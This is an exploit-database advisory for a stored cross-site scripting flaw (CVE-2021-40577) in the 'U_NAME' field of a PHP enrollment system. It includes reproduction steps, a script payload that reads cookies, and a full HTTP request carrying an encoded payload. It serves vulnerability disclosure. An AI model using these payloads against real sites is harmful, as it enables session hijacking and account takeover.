1abdd81300
4 changes to exploits/shellcodes MilleGPG5 5.7.2 Luglio 2021 - Local Privilege Escalation Online Enrollment Management System in PHP and PayPal 1.0 - 'U_NAME' Stored Cross-Site Scripting Advanced Comment System 1.0 - Remote Command Execution (RCE)
68 lines
No EOL
3 KiB
Text
68 lines
No EOL
3 KiB
Text
# Exploit Title: Online Enrollment Management System in PHP and PayPal 1.0 - 'U_NAME' Stored Cross-Site Scripting
|
|
# Date: 2021-08-31
|
|
# Exploit Author: Tushar Jadhav
|
|
# Vendor Homepage: https://www.sourcecodester.com/
|
|
# Software Link: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html
|
|
# Version: 1.0
|
|
# Tested on: Windows 11
|
|
# Contact: https://www.linkedin.com/in/tushar-jadhav-7a43b4171/
|
|
# CVE: CVE-2021-40577
|
|
|
|
=============================================================================================================================
|
|
|
|
Stored Cross-site scripting(XSS):
|
|
|
|
Stored attacks are those where the injected script is permanently stored on
|
|
the target servers,
|
|
such as in a database, in a message forum, visitor log, comment field, etc.
|
|
The victim then retrieves the malicious script from the server when it
|
|
requests the stored information.
|
|
Stored XSS is also sometimes referred to as Persistent XSS.
|
|
|
|
==============================================================================================================================
|
|
|
|
Attack vector:
|
|
|
|
This vulnerability can result in the attacker can injecting the XSS payload
|
|
in the User Registration section. Each time the admin login or basic user
|
|
Login in the admin panel, the XSS triggers and attacker can able to steal
|
|
the cookie according to the crafted payload.
|
|
|
|
===============================================================================================================================
|
|
|
|
Vulnerable Parameters: Name
|
|
|
|
===============================================================================================================================
|
|
|
|
Steps for reproducing:
|
|
|
|
1. Go to add users section
|
|
2. fill in the details. & put <script>alert(document.cookie)</script>
|
|
payload in Name parameter.
|
|
3. Once we click on save, We can see the XSS has been triggered.
|
|
|
|
================================================================================================================================
|
|
|
|
Request :
|
|
|
|
POST /onlineenrolmentsystem/admin/user/controller.php?action=add HTTP/1.1
|
|
Host: 192.168.1.205:81
|
|
Content-Length: 133
|
|
Cache-Control: max-age=0
|
|
Upgrade-Insecure-Requests: 1
|
|
Origin: http://192.168.1.205:81
|
|
Content-Type: application/x-www-form-urlencoded
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
|
(KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
|
|
Accept:
|
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Referer:
|
|
http://192.168.1.205:81/onlineenrolmentsystem/admin/user/index.php?view=add
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
|
|
Cookie: PHPSESSID=uonlna5pmhqh9shnj8t6oqc2g3
|
|
Connection: close
|
|
|
|
deptid=&U_NAME=%3Cscript%3Ealert%28window.origin%29%3C%2Fscript%3E&deptid=&U_USERNAME=test&deptid=&U_PASS=root&U_ROLE=Registrar&save=
|
|
|
|
=================================================================================================================================== |